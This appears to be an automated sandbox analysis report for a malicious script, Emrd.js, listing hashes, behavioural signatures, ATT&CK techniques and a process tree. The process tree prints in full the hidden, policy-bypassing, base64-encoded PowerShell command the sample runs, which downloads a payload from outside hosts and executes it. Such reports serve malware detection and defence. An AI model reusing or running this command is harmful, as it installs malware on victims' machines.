e30a79cf97f2445919d5d3475f94f8328545f11db1916d2c2d26bd415e72fc1a

General

Target

Emrd.js
Size

192KB
MD5

ebd4596ebd8521357572113fc66c95e9
SHA1

733b1f86c7c736a5cf4bf90448df170ff99340e0
SHA256

e30a79cf97f2445919d5d3475f94f8328545f11db1916d2c2d26bd415e72fc1a
SHA512

8e64a5e01c03388ce60684ae9a70228117afe256f7bff1c5afab5768ad68c8caa3209af99d4fecace95d3eb7a76c30dd60f30d4f12f8b2eeaa99a3e4ef685349
SSDEEP

6144:Udi3O+ompp+vgZDTjswH242DGx/CuLfU6e75p3ZKMdT4XRuXkH:l3d273tPk

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
29	2460	powershell.exe
31	2460	powershell.exe
32	2460	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2460	powershell.exe
2460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2788 wrote to memory of 1468	2788	wscript.exe	82
PID 2788 wrote to memory of 1468	2788	wscript.exe	82
PID 1468 wrote to memory of 2460	1468	wscript.exe	83
PID 1468 wrote to memory of 2460	1468	wscript.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Emrd.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2788
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Emrd.js" czarismDeaerates gaming isarioid BlastocollaRackateering
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABMAG8AZwBpAG4AZQBzAHMAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABjAEEATwBBAEEAdQBBAEQAWQBBAE4AUQBBAHUAQQBEAEUAQQBOAFEAQQAyAEEAQwA0AEEATQBnAEEAegBBAEQAQQBBAEYAQgBKAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBNAFEAQQAzAEEAQwA0AEEATQBRAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAE0AQQBNAFEAQQA9ACIAOwAkAHMAcAByAG8AYwBrAGUAdAAgAD0AIAAiAHMAcABsAGUAZQBuAHcAbwByAHQAUwBlAG4AcwBhAHQAaQBuAGcAIgA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEAMgA7ACQAcgBvAHQAbwBjAHIAYQBmAHQASQBuAHMAYQBuAGUAbAB5ACAAPQAgADcANQA3ADsAJABuAGUAbwBwAGwAYQB0AG8AbgBpAGMAaQBhAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQBMAGcAQQB4AEEARABrAEEATQBnAEEAdgBBAEcAdwBBAGUAZwBCAFMAQQBDADgAQQBZAGcAQgBaAEEASABnAEEAUQBRAEIARABBAEYAQQBBAFIAQQBCADEAQQBIAFUAQQBkAFEAQgBWAEEAQQA9AD0AWQA9AHoAcwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAFEAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AZwBBAHkAQQBDADQAQQBPAEEAQQAzAEEAQwA4AEEAVgBnAEEAeQBBAEUATQBBAE4AdwBBAHYAQQBIAGMAQQBWAGcAQgBJAEEASABFAEEAYQBnAEEAMgBBAEYAQQBBAFQAdwBCADUAQQBFAHMAQQBjAEEAQQA9AFkAPQB6AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABVAEEATQBRAEEAdQBBAEQASQBBAE0AdwBBADIAQQBDADQAQQBNAGcAQQB5AEEAQwA0AEEATQBRAEEAeABBAEQAUQBBAEwAdwBCADEAQQBHAFUAQQBkAHcAQgBvAEEARQBjAEEATAB3AEEANQBBAEcAZwBBAFYAUQBCAGgAQQBFAGcAQQBSAEEAQgBPAEEARABNAEEAIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAUgBlAHYAZQBuAHQAaQBsAGEAdABlACAAaQBuACAAJABuAGUAbwBwAGwAYQB0AG8AbgBpAGMAaQBhAG4AIAAtAHMAcABsAGkAdAAgACIAWQA9AHoAcwAiACkAIAB7ACQARwBlAGwAYQB0AGkAbgBvAGkAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAUwBBAEgAVQBBAFoAZwBCAG0AQQBHAGsAQQBiAGcAQgBuAEEARQAwAEEAWQBRAEIAdABBAEcAMABBAFoAUQBCAHkAQQBHAGsAQQBiAGcAQgBuAEEAQwA0AEEAWQB3AEIAdgBBAEgAVQBBAGIAZwBCADAAQQBIAEkAQQBlAFEAQQA9ACIAOwAkAGgAYQByAGYAYQBuAGcARwBhAGwAbABpAG4AYQBjAGUAaQAgAD0AIAA5ADIANAA7AHQAcgB5ACAAewAkAHUAbgBsAGUAZwBpAGIAbABlACAAPQAgADcANAA1ADsAJABFAHgAbwBjAG8AZQBsAG8AbQBHAHUAbgBmAGkAZwBoAHQAaQBuAGcAIAA9ACAANAAwADIAOwAkAG8AdgBlAHIAcwB0AHIAZQBuAGcAdABoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFIAZQB2AGUAbgB0AGkAbABhAHQAZQApACkAOwBpAHcAcgAgACQAbwB2AGUAcgBzAHQAcgBlAG4AZwB0AGgAIAAtAE8AIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABQAGUAcgBpAG8AcgBiAGkAdABhAGwARwBhAG0AbwBkAGUAcwBtAHkALgBwAGgAYQByAHkAbgBnAGkAdABpAHMAOwAkAGMAaABlAG0AbwB0AGEAeABvAG4AbwBtAHkAIAA9ACAAIgBzAGUAcABhAHIAYQB0AHUAbQBJAG4AcwB1AGIAcwB0AGEAbgB0AGkAYQB0AGUAIgA7ACQAawBuAGUAZQBoAG8AbABlAHMASQBuAHQAZQByAHYAbwBsAHUAdABpAG8AbgAgAD0AIAAiAGYAdQByAG0AaQB0AGkAZQBzAFcAYQB4AGgAZQBhAHIAdABlAGQAIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABQAGUAcgBpAG8AcgBiAGkAdABhAGwARwBhAG0AbwBkAGUAcwBtAHkALgBwAGgAYQByAHkAbgBnAGkAdABpAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAxADUANAAyADcAOQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAVQBBAEIAbABBAEgASQBBAGEAUQBCAHYAQQBIAEkAQQBZAGcAQgBwAEEASABRAEEAWQBRAEIAcwBBAEUAYwBBAFkAUQBCAHQAQQBHADgAQQBaAEEAQgBsAEEASABNAEEAYgBRAEIANQBBAEMANABBAGMAQQBCAG8AQQBHAEUAQQBjAGcAQgA1AEEARwA0AEEAWgB3AEIAcABBAEgAUQBBAGEAUQBCAHoAQQBDAHcAQQBjAEEAQgB5AEEARwBrAEEAYgBnAEIAMABBAEQAcwBBAFYAZwBCADEAQQBHAFUAQQBTAGcAQgBUAEEAQQA9AD0AIgA7ACQAcgBhAGQAaQBhAGwAaQBzACAAPQAgACIATwB3AGUAbgBpAHoAZQAiADsAYgByAGUAYQBrADsAVgB1AGUASgBTADsAfQBWAHUAZQBKAFMAOwB9ACAAYwBhAHQAYwBoACAAewAkAGIAdQB0AHQAZQByAGIAbwB4ACAAPQAgACIAbwBsAGkAdgBpAGwAaQBuAEMAYQB0AGEAbQBuAGUAcwBpAHMAIgA7AH0AfQAkAGIAcgBhAHYAYQBkAG8AcwAgAD0AIAAiAFUAbgBtAHUAdABpAGwAYQB0AGkAdgBlAE0AZQB0AGEAYwByAHkAcwB0ACIAOwAkAEMAaABvAGwAZQBzAHQAZQBuAGUATQBhAGkAdAByAGUAeQBhACAAPQAgADkAMAAyADsA"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2460

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1deue45e.thc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2460-133-0x0000020A07490000-0x0000020A074B2000-memory.dmp

Filesize
136KB

Download
memory/2460-143-0x0000020A1F790000-0x0000020A1F7A0000-memory.dmp

Filesize
64KB

Download
memory/2460-144-0x0000020A1F790000-0x0000020A1F7A0000-memory.dmp

Filesize
64KB

Download
memory/2460-145-0x0000020A1F790000-0x0000020A1F7A0000-memory.dmp

Filesize
64KB

Download
memory/2460-146-0x0000020A1F790000-0x0000020A1F7A0000-memory.dmp

Filesize
64KB

Download
memory/2460-147-0x0000020A1F790000-0x0000020A1F7A0000-memory.dmp

Filesize
64KB

Download
memory/2460-148-0x0000020A1F790000-0x0000020A1F7A0000-memory.dmp

Filesize
64KB

Download

Analysis

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